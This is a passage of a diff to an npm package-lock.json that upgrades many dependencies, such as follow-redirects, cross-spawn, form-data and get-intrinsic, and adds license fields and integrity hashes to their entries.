-      "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
+      "version": "7.1.1",
+      "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz",
+      "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==",
+      "license": "MIT",
       "dependencies": {
         "to-regex-range": "^5.0.1"
       },
@@ -6501,6 +7101,7 @@
       "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.2.tgz",
       "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "commondir": "^1.0.1",
         "make-dir": "^3.0.2",
@@ -6518,6 +7119,7 @@
       "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz",
       "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "locate-path": "^5.0.0",
         "path-exists": "^4.0.0"
@@ -6531,6 +7133,7 @@
       "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
       "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-locate": "^4.1.0"
       },
@@ -6543,6 +7146,7 @@
       "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
       "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "semver": "^6.0.0"
       },
@@ -6558,6 +7162,7 @@
       "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
       "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-try": "^2.0.0"
       },
@@ -6573,6 +7178,7 @@
       "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
       "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-limit": "^2.2.0"
       },
@@ -6585,6 +7191,7 @@
       "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz",
       "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "find-up": "^4.0.0"
       },
@@ -6597,6 +7204,7 @@
       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
       "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
       "dev": true,
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
       }
@@ -6605,6 +7213,7 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/find-requires/-/find-requires-1.0.0.tgz",
       "integrity": "sha512-UME7hNwBfzeISSFQcBEDemEEskpOjI/shPrpJM5PI4DSdn6hX0dmz+2dL70blZER2z8tSnTRL+2rfzlYgtbBoQ==",
+      "license": "ISC",
       "dependencies": {
         "es5-ext": "^0.10.49",
         "esniff": "^1.1.0"
@@ -6613,11 +7222,25 @@
         "find-requires": "bin/find-requires.js"
       }
     },
+    "node_modules/find-requires/node_modules/esniff": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/esniff/-/esniff-1.1.3.tgz",
+      "integrity": "sha512-SLBLpfE7xWgF/HbzhVuAwqnJDRqSCNZqcqaIMVm+f+PbTp1kFRWu6BuT83SATb4Tp+ovr+S+u7vDH7/UErAOkw==",
+      "license": "ISC",
+      "dependencies": {
+        "d": "^1.0.1",
+        "es5-ext": "^0.10.62"
+      },
+      "engines": {
+        "node": ">=0.10"
+      }
+    },
     "node_modules/find-up": {
       "version": "5.0.0",
       "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz",
       "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "locate-path": "^6.0.0",
         "path-exists": "^4.0.0"
@@ -6634,6 +7257,7 @@
       "resolved": "https://registry.npmjs.org/find-versions/-/find-versions-4.0.0.tgz",
       "integrity": "sha512-wgpWy002tA+wgmO27buH/9KzyEOQnKsG/R0yrcjPT9BOFm0zRBVQbZ95nRGXWMywS8YR5knRbpohio0bcJABxQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "semver-regex": "^3.1.2"
       },
@@ -6648,6 +7272,7 @@
       "version": "5.0.2",
       "resolved": "https://registry.npmjs.org/flat/-/flat-5.0.2.tgz",
       "integrity": "sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ==",
+      "license": "BSD-3-Clause",
       "bin": {
         "flat": "cli.js"
       }
@@ -6657,6 +7282,7 @@
       "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.2.0.tgz",
       "integrity": "sha512-CYcENa+FtcUKLmhhqyctpclsq7QF38pKjZHsGNiSQF5r4FtoKDWabFDl3hzaEQMvT1LHEysw5twgLvpYYb4vbw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "flatted": "^3.2.9",
         "keyv": "^4.5.3",
@@ -6667,21 +7293,23 @@
       }
     },
     "node_modules/flatted": {
-      "version": "3.2.9",
-      "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.9.tgz",
-      "integrity": "sha512-36yxDn5H7OFZQla0/jFJmbIKTdZAQHngCedGxiMmpNfEZM0sdEeT+WczLQrjK6D7o2aiyLYDnkw0R3JK0Qv1RQ==",
-      "dev": true
+      "version": "3.3.3",
+      "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.3.3.tgz",
+      "integrity": "sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==",
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/follow-redirects": {
-      "version": "1.15.3",
-      "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.3.tgz",
-      "integrity": "sha512-1VzOtuEM8pC9SFU1E+8KfTjZyMztRsgEfwQl44z8A25uy13jSzTj6dyK2Df52iV0vgHCfBwLhDWevLn95w5v6Q==",
+      "version": "1.15.9",
+      "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.9.tgz",
+      "integrity": "sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==",
       "funding": [
         {
           "type": "individual",
           "url": "https://github.com/sponsors/RubenVerborgh"
         }
       ],
+      "license": "MIT",
       "engines": {
         "node": ">=4.0"
       },
@@ -6692,11 +7320,18 @@
       }
     },
     "node_modules/for-each": {
-      "version": "0.3.3",
-      "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.3.tgz",
-      "integrity": "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==",
+      "version": "0.3.5",
+      "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.5.tgz",
+      "integrity": "sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==",
+      "license": "MIT",
       "dependencies": {
-        "is-callable": "^1.1.3"
+        "is-callable": "^1.2.7"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
       }
     },
     "node_modules/foreground-child": {
@@ -6704,6 +7339,7 @@
       "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-2.0.0.tgz",
       "integrity": "sha512-dCIq9FpEcyQyXKCkyzmlPTFNgrCzPudOe+mhvJU5zAtlBnGVy2yKxtfsxK2tQBThwq225jcvBjpw1Gr40uzZCA==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "cross-spawn": "^7.0.0",
         "signal-exit": "^3.0.2"
@@ -6713,10 +7349,11 @@
       }
     },
     "node_modules/foreground-child/node_modules/cross-spawn": {
-      "version": "7.0.3",
-      "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz",
-      "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==",
+      "version": "7.0.6",
+      "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
+      "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "path-key": "^3.1.0",
         "shebang-command": "^2.0.0",
@@ -6731,6 +7368,7 @@
       "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
       "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -6740,6 +7378,7 @@
       "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
       "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "shebang-regex": "^3.0.0"
       },
@@ -6752,6 +7391,7 @@
       "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
       "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -6761,6 +7401,7 @@
       "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
       "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "isexe": "^2.0.0"
       },
@@ -6776,17 +7417,21 @@
       "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz",
       "integrity": "sha512-j0KLYPhm6zeac4lz3oJ3o65qvgQCcPubiyotZrXqEaG4hNagNYO8qdlUrX5vwqv9ohqeT/Z3j6+yW067yWWdUw==",
       "dev": true,
+      "license": "Apache-2.0",
       "engines": {
         "node": "*"
       }
     },
     "node_modules/form-data": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz",
-      "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==",
+      "version": "4.0.3",
+      "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.3.tgz",
+      "integrity": "sha512-qsITQPfmvMOSAdeyZ+12I1c+CKSstAFAwu+97zrnWAbIr5u8wfsExUzCesVLC8NgHuRUqNN4Zy6UPWUTRGslcA==",
+      "license": "MIT",
       "dependencies": {
         "asynckit": "^0.4.0",
         "combined-stream": "^1.0.8",
+        "es-set-tostringtag": "^2.1.0",
+        "hasown": "^2.0.2",
         "mime-types": "^2.1.12"
       },
       "engines": {
@@ -6794,12 +7439,13 @@
       }
     },
     "node_modules/formidable": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npmjs.org/formidable/-/formidable-2.1.2.tgz",
-      "integrity": "sha512-CM3GuJ57US06mlpQ47YcunuUZ9jpm8Vx+P2CGt2j7HpgkKZO/DJYQ0Bobim8G6PFQmK5lOqOOdUXboU+h73A4g==",
+      "version": "2.1.5",
+      "resolved": "https://registry.npmjs.org/formidable/-/formidable-2.1.5.tgz",
+      "integrity": "sha512-Oz5Hwvwak/DCaXVVUtPn4oLMLLy1CdclLKO1LFgU7XzDpVMUU5UjlSLpGMocyQNNk8F6IJW9M/YdooSn2MRI+Q==",
+      "license": "MIT",
       "dependencies": {
+        "@paralleldrive/cuid2": "^2.2.2",
         "dezalgo": "^1.0.4",
-        "hexoid": "^1.0.0",
         "once": "^1.4.0",
         "qs": "^6.11.0"
       },
@@ -6808,11 +7454,12 @@
       }
     },
     "node_modules/formidable/node_modules/qs": {
-      "version": "6.11.2",
-      "resolved": "https://registry.npmjs.org/qs/-/qs-6.11.2.tgz",
-      "integrity": "sha512-tDNIz22aBzCDxLtVH++VnTfzxlfeK5CbqohpSqpJgj1Wg/cQbStNAz3NuqCs5vV+pjBsK4x4pN9HlVh7rcYRiA==",
+      "version": "6.14.0",
+      "resolved": "https://registry.npmjs.org/qs/-/qs-6.14.0.tgz",
+      "integrity": "sha512-YWWTjgABSKcvs/nWBi9PycY/JiPJqOD4JA6o9Sej2AtvSGarXxKC3OQSk4pAarbdQlKAh5D4FCQkJNkW+GAn3w==",
+      "license": "BSD-3-Clause",
       "dependencies": {
-        "side-channel": "^1.0.4"
+        "side-channel": "^1.1.0"
       },
       "engines": {
         "node": ">=0.6"
@@ -6826,6 +7473,7 @@
       "resolved": "https://registry.npmjs.org/from2/-/from2-2.3.0.tgz",
       "integrity": "sha512-OMcX/4IC/uqEPVgGeyfN22LJk6AZrMkRZHxcHBMBvHScDGgwTm2GT2Wkgtocyd3JfZffjj2kYUDXXII0Fk9W0g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "inherits": "^2.0.1",
         "readable-stream": "^2.0.0"
@@ -6836,6 +7484,7 @@
       "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz",
       "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "core-util-is": "~1.0.0",
         "inherits": "~2.0.3",
@@ -6850,13 +7499,15 @@
       "version": "5.1.2",
       "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
       "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/from2/node_modules/string_decoder": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
       "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "safe-buffer": "~5.1.0"
       }
@@ -6879,17 +7530,20 @@
           "type": "consulting",
           "url": "https://feross.org/support"
         }
-      ]
+      ],
+      "license": "MIT"
     },
     "node_modules/fs-constants": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz",
-      "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow=="
+      "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==",
+      "license": "MIT"
     },
     "node_modules/fs-extra": {
       "version": "10.1.0",
       "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz",
       "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==",
+      "license": "MIT",
       "dependencies": {
         "graceful-fs": "^4.2.0",
         "jsonfile": "^6.0.1",
@@ -6903,6 +7557,7 @@
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz",
       "integrity": "sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==",
+      "license": "ISC",
       "dependencies": {
         "minipass": "^3.0.0"
       },
@@ -6914,6 +7569,7 @@
       "version": "3.3.6",
       "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz",
       "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==",
+      "license": "ISC",
       "dependencies": {
         "yallist": "^4.0.0"
       },
@@ -6924,20 +7580,23 @@
     "node_modules/fs.realpath": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
-      "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw=="
+      "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==",
+      "license": "ISC"
     },
     "node_modules/fs2": {
-      "version": "0.3.9",
-      "resolved": "https://registry.npmjs.org/fs2/-/fs2-0.3.9.tgz",
-      "integrity": "sha512-WsOqncODWRlkjwll+73bAxVW3JPChDgaPX3DT4iTTm73UmG4VgALa7LaFblP232/DN60itkOrPZ8kaP1feksGQ==",
+      "version": "0.3.16",
+      "resolved": "https://registry.npmjs.org/fs2/-/fs2-0.3.16.tgz",
+      "integrity": "sha512-gf/9tXLWI7qKmHDrMz55TRrTj12iceKuwo30CG1+Vbae719LT4uFc++GwDG8y/4vZJ34a6pzhgY23bgg88cZDg==",
+      "license": "ISC",
       "dependencies": {
-        "d": "^1.0.1",
+        "d": "^1.0.2",
         "deferred": "^0.7.11",
-        "es5-ext": "^0.10.53",
+        "es5-ext": "^0.10.64",
         "event-emitter": "^0.3.5",
-        "ignore": "^5.1.8",
-        "memoizee": "^0.4.14",
-        "type": "^2.1.0"
+        "ext": "^1.7.0",
+        "ignore": "^5.3.2",
+        "memoizee": "^0.4.17",
+        "type": "^2.7.3"
       },
       "engines": {
         "node": ">=6"
@@ -6948,6 +7607,7 @@
       "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",
       "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==",
       "hasInstallScript": true,
+      "license": "MIT",
       "optional": true,
       "os": [
         "darwin"
@@ -6960,20 +7620,23 @@
       "version": "1.1.2",
       "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
       "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==",
+      "license": "MIT",
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
     },
     "node_modules/function.prototype.name": {
-      "version": "1.1.6",
-      "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.6.tgz",
-      "integrity": "sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg==",
-      "dev": true,
+      "version": "1.1.8",
+      "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.8.tgz",
+      "integrity": "sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1",
-        "functions-have-names": "^1.2.3"
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.3",
+        "define-properties": "^1.2.1",
+        "functions-have-names": "^1.2.3",
+        "hasown": "^2.0.2",
+        "is-callable": "^1.2.7"
       },
       "engines": {
         "node": ">= 0.4"
@@ -6986,7 +7649,7 @@
       "version": "1.2.3",
       "resolved": "https://registry.npmjs.org/functions-have-names/-/functions-have-names-1.2.3.tgz",
       "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==",
-      "dev": true,
+      "license": "MIT",
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
@@ -6996,6 +7659,7 @@
       "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz",
       "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
@@ -7004,26 +7668,38 @@
       "version": "1.0.3",
       "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-1.0.3.tgz",
       "integrity": "sha512-3t6rVToeoZfYSGd8YoLFR2DJkiQrIiUrGcjvFX2mDw3bn6k2OtwHN0TNCLbBO+w8qTvimhDkv+LSscbJY1vE6w==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/get-func-name": {
       "version": "2.0.2",
       "resolved": "https://registry.npmjs.org/get-func-name/-/get-func-name-2.0.2.tgz",
       "integrity": "sha512-8vXOvuE167CtIc3OyItco7N/dpRtBbYOsPsXCz7X/PMnlGjYjSGuZJgM1Y7mmew7BKf9BqvLX2tnOVy1BBUsxQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": "*"
       }
     },
     "node_modules/get-intrinsic": {
-      "version": "1.2.2",
-      "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.2.tgz",
-      "integrity": "sha512-0gSo4ml/0j98Y3lngkFEot/zhiCeWsbYIlZ+uZOVgzLyLaUw7wxUL+nCTP0XJvJg1AXulJRI3UJi8GsbDuxdGA==",
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz",
+      "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==",
+      "license": "MIT",
       "dependencies": {
+        "call-bind-apply-helpers": "^1.0.2",
+        "es-define-property": "^1.0.1",
+        "es-errors": "^1.3.0",
+        "es-object-atoms": "^1.1.1",
         "function-bind": "^1.1.2",
-        "has-proto": "^1.0.1",
-        "has-symbols": "^1.0.3",
-        "hasown": "^2.0.0"
+        "get-proto": "^1.0.1",
+        "gopd": "^1.2.0",
+        "has-symbols": "^1.1.0",
+        "hasown": "^2.0.2",
+        "math-intrinsics": "^1.1.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -7034,6 +7710,7 @@
       "resolved": "https://registry.npmjs.org/get-package-type/-/get-package-type-0.1.0.tgz",
       "integrity": "sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8.0.0"
       }
@@ -7043,6 +7720,7 @@
       "resolved": "https://registry.npmjs.org/get-pkg-repo/-/get-pkg-repo-4.2.1.tgz",
       "integrity": "sha512-2+QbHjFRfGB74v/pYWjd5OhU3TDIC2Gv/YKUTk/tCvAz0pkn/Mz6P3uByuBimLOcPvN2jYdScl3xGFSrx0jEcA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@hutson/parse-repository-url": "^3.0.0",
         "hosted-git-info": "^4.0.0",
@@ -7061,6 +7739,7 @@
       "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz",
       "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "core-util-is": "~1.0.0",
         "inherits": "~2.0.3",
@@ -7075,13 +7754,15 @@
       "version": "5.1.2",
       "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
       "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/get-pkg-repo/node_modules/string_decoder": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
       "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "safe-buffer": "~5.1.0"
       }
@@ -7091,15 +7772,30 @@
       "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz",
       "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "readable-stream": "~2.3.6",
         "xtend": "~4.0.1"
       }
     },
+    "node_modules/get-proto": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz",
+      "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==",
+      "license": "MIT",
+      "dependencies": {
+        "dunder-proto": "^1.0.1",
+        "es-object-atoms": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
     "node_modules/get-stdin": {
       "version": "8.0.0",
       "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-8.0.0.tgz",
       "integrity": "sha512-sY22aA6xchAzprjyqmSEQv4UbAAzRN0L2dQB0NlN5acTTK9Don6nhoc3eAbUnpZiCANAMfd/+40kVdKfFygohg==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       },
@@ -7111,6 +7807,7 @@
       "version": "6.0.1",
       "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz",
       "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       },
@@ -7119,13 +7816,14 @@
       }
     },
     "node_modules/get-symbol-description": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.0.tgz",
-      "integrity": "sha512-2EmdH1YvIQiZpltCNgkuiUnyukzxM/R6NDJX31Ke3BG1Nq5b0S2PhX59UKi9vZpPDQVdqn+1IcaAwnzTT5vCjw==",
-      "dev": true,
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.1.0.tgz",
